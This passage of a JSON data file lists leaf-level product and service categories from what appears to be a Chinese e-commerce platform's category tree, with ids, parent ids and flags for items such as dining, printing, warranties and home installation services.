:1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31789,"name":"中国石油","parent_cid":28893,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31977,"name":"代金券/优惠券","parent_cid":31971,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31975,"name":"机票单品","parent_cid":31971,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31973,"name":"增值服务","parent_cid":31971,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31976,"name":"代金券/优惠券","parent_cid":31970,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31974,"name":"机票单品","parent_cid":31970,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31972,"name":"增值服务","parent_cid":31970,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30705,"name":"国内考试英语","parent_cid":26986,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30706,"name":"国外考试英语","parent_cid":26986,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30704,"name":"商务英语/翻译","parent_cid":26986,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30703,"name":"英语口语","parent_cid":26986,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30702,"name":"英语入门","parent_cid":26986,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":30701,"name":"其他英语","parent_cid":26986,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31884,"name":"代订境内酒店套餐","parent_cid":31880,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31883,"name":"代订境外酒店套餐","parent_cid":31880,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31266,"name":"境内酒店套餐","parent_cid":28319,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31267,"name":"境外酒店套餐","parent_cid":28320,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31480,"name":"联保","parent_cid":28618,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31479,"name":"延保","parent_cid":28618,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31481,"name":"意外保障","parent_cid":28618,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31482,"name":"会员卡券(非充值)","parent_cid":28617,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31465,"name":"笔记本联保/延保","parent_cid":28613,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31468,"name":"厨房电器以换代修","parent_cid":28613,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31464,"name":"大家电延保","parent_cid":28613,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31467,"name":"个人护理以换代修","parent_cid":28613,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31462,"name":"平板电脑/MID联保/延保","parent_cid":28613,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31470,"name":"生活电器以换代修","parent_cid":28613,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31463,"name":"手机联保/延保","parent_cid":28613,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31466,"name":"数码相机联保/延保","parent_cid":28613,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31469,"name":"影音电器以换代修","parent_cid":28613,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31475,"name":"手机屏碎保","parent_cid":28615,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31485,"name":"电脑数据恢复","parent_cid":28625,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31483,"name":"数据恢复","parent_cid":28625,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31484,"name":"网络维护","parent_cid":28625,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31486,"name":"系统安装升级","parent_cid":28625,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31472,"name":"安装维修更换","parent_cid":28614,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31471,"name":"清洗消毒","parent_cid":28614,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31473,"name":"装饰美容贴膜","parent_cid":28614,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31477,"name":"笔记本意外保","parent_cid":28616,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31474,"name":"平板电脑/MID意外保","parent_cid":28616,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31476,"name":"手机意外保","parent_cid":28616,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31478,"name":"数码相机意外保","parent_cid":28616,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31526,"name":"代办服务","parent_cid":28742,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31559,"name":"电脑回收","parent_cid":28769,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31569,"name":"电器设备回收","parent_cid":28769,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31557,"name":"家电回收","parent_cid":28769,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31567,"name":"奢侈品回收","parent_cid":28769,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31558,"name":"手机回收","parent_cid":28769,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31568,"name":"数码产品回收","parent_cid":28769,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31556,"name":"其他","parent_cid":28769,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31827,"name":"餐饮美食实物卡","parent_cid":28914,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31826,"name":"哈根达斯实物卡","parent_cid":28914,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31817,"name":"蛋糕","parent_cid":28911,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31818,"name":"面包","parent_cid":28911,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31822,"name":"其他烘焙糕点","parent_cid":28911,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31798,"name":"西式快餐","parent_cid":28900,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31799,"name":"中式快餐/小吃","parent_cid":28900,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31825,"name":"韩国料理","parent_cid":28913,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31824,"name":"日本料理","parent_cid":28913,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31823,"name":"泰国菜","parent_cid":28913,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31803,"name":"冰淇淋","parent_cid":28901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31800,"name":"咖啡","parent_cid":28901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31802,"name":"奶茶/冷饮店","parent_cid":28901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31801,"name":"甜品","parent_cid":28901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31805,"name":"甜品冷饮券","parent_cid":28901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31804,"name":"星巴克卡","parent_cid":28901,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31793,"name":"法国菜","parent_cid":28895,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31792,"name":"牛排/铁板烧","parent_cid":28895,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31791,"name":"披萨","parent_cid":28895,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31794,"name":"意大利菜","parent_cid":28895,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31811,"name":"北京菜","parent_cid":28903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31814,"name":"本帮江浙菜","parent_cid":28903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31806,"name":"川菜","parent_cid":28903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31810,"name":"东北菜","parent_cid":28903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31807,"name":"海鲜","parent_cid":28903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31808,"name":"湘菜","parent_cid":28903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31813,"name":"西北菜","parent_cid":28903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31812,"name":"新疆菜","parent_cid":28903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31809,"name":"粤菜","parent_cid":28903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31815,"name":"其它地方菜系","parent_cid":28903,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31780,"name":"产品/课件配音","parent_cid":28890,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31781,"name":"广告/多媒体配音","parent_cid":28890,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31783,"name":"摄像服务","parent_cid":28890,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31784,"name":"视频剪辑/制作","parent_cid":28890,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31785,"name":"音频制作/处理","parent_cid":28890,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31782,"name":"专题配音","parent_cid":28890,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31787,"name":"图片处理","parent_cid":28892,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31788,"name":"图片设计","parent_cid":28892,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31830,"name":"服装清洗","parent_cid":28921,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31831,"name":"鞋靴清洗","parent_cid":28921,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31832,"name":"服饰配件养护","parent_cid":28920,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31828,"name":"服装养护","parent_cid":28920,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31834,"name":"箱包皮具养护","parent_cid":28920,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31829,"name":"鞋靴养护","parent_cid":28920,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31833,"name":"珠宝饰品养护","parent_cid":28920,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31778,"name":"X展架","parent_cid":28888,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31779,"name":"易拉宝","parent_cid":28888,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31750,"name":"宾馆服务","parent_cid":28878,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31752,"name":"礼仪服务","parent_cid":28878,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31753,"name":"宣传品设计","parent_cid":28878,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31749,"name":"展览馆","parent_cid":28878,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31751,"name":"展台搭建","parent_cid":28878,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31755,"name":"展台设计制作","parent_cid":28878,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31754,"name":"其他会展服务","parent_cid":28878,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31775,"name":"表格收据/联单","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31771,"name":"不干胶/防伪标签","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31759,"name":"吊牌","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31756,"name":"DM宣传单","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31769,"name":"广告笔","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31763,"name":"海报","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31764,"name":"贺卡","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31770,"name":"礼品盒","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31765,"name":"门票","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31760,"name":"名片","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31768,"name":"名信片","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31758,"name":"书签","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31767,"name":"台历/日历/挂历","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31757,"name":"VIP贵宾卡/会员卡","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31776,"name":"无纺布袋定做","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31772,"name":"信纸信封","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31766,"name":"喜帖/请帖","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31773,"name":"宣传彩页","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31774,"name":"样本画册","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31777,"name":"一次性纸杯定做","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31761,"name":"折扇","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31762,"name":"折页","parent_cid":28886,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31736,"name":"单透","parent_cid":28872,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31737,"name":"灯光片","parent_cid":28872,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31739,"name":"户外写真","parent_cid":28872,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31734,"name":"KT展板","parent_cid":28872,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31735,"name":"PP纸","parent_cid":28872,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31738,"name":"相册纸","parent_cid":28872,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31746,"name":"不锈钢字","parent_cid":28876,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31740,"name":"LED发光字","parent_cid":28876,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31743,"name":"泡沫字","parent_cid":28876,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31747,"name":"双色板字","parent_cid":28876,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31742,"name":"水晶字","parent_cid":28876,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31744,"name":"钛金字","parent_cid":28876,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31745,"name":"铁皮字","parent_cid":28876,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31741,"name":"吸塑字","parent_cid":28876,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31748,"name":"雪弗板字","parent_cid":28876,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31498,"name":"婚车装饰","parent_cid":28648,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31497,"name":"婚车租赁","parent_cid":28648,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31501,"name":"场地布置","parent_cid":28649,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31494,"name":"婚纱/礼服定做","parent_cid":28641,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31495,"name":"婚纱/礼服租赁","parent_cid":28641,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31490,"name":"儿童摄影","parent_cid":28640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31492,"name":"情侣摄影","parent_cid":28640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31493,"name":"全家福摄影","parent_cid":28640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31491,"name":"写真摄影","parent_cid":28640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31489,"name":"孕妇/亲子摄影","parent_cid":28640,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31816,"name":"延保","parent_cid":28906,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31797,"name":"安装维修更换","parent_cid":28897,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31795,"name":"回收处置","parent_cid":28897,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31796,"name":"清洗消毒","parent_cid":28897,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31697,"name":"安防报警设备安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31682,"name":"成品楼梯安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31662,"name":"成品门/移门安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31674,"name":"床安装服务","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31699,"name":"窗帘轨道安装服务","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31696,"name":"厨房设施安装服务","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31685,"name":"橱柜安装服务","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31663,"name":"地板安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31667,"name":"灯具安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31681,"name":"地暖施工安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31678,"name":"蹲便器安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31683,"name":"柜体安装服务","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31691,"name":"集成吊顶安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31690,"name":"空调安装服务","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31677,"name":"淋浴房安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31688,"name":"淋浴拉门安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31689,"name":"淋浴龙头安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31669,"name":"龙头安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31668,"name":"面盆安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31664,"name":"墙纸铺贴","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31694,"name":"热水器安装服务","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31671,"name":"三角阀安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31686,"name":"沙发安装服务","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31700,"name":"视听设备安装服务","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31680,"name":"卫浴配件安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31679,"name":"卫浴五金安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31673,"name":"小便斗安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31684,"name":"椅子安装服务","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31666,"name":"浴霸安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31665,"name":"浴缸安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31687,"name":"浴室镜柜安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31698,"name":"桌台几类安装服务","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31672,"name":"坐便器安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31695,"name":"其他单项家居安装","parent_cid":28856,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31726,"name":"安防报警安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31701,"name":"成品门/移门安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31702,"name":"床安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31731,"name":"窗帘轨道安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31725,"name":"厨房设施安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31708,"name":"橱柜安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31704,"name":"地板安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31711,"name":"灯具安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31703,"name":"地暖安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31722,"name":"蹲便器安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31706,"name":"柜体安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31733,"name":"集成吊顶安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31712,"name":"空调安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31720,"name":"淋浴房安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31729,"name":"淋浴拉门安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31730,"name":"淋浴龙头安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31714,"name":"龙头安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31713,"name":"面盆安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31705,"name":"墙纸铺贴服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31721,"name":"热水器安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31715,"name":"三角阀安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31709,"name":"沙发安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31732,"name":"视听设备安装服务套餐","parent_cid":28860,"level":4,"enable":1,"is_leaf":true,"industry_status":2,"extra":nul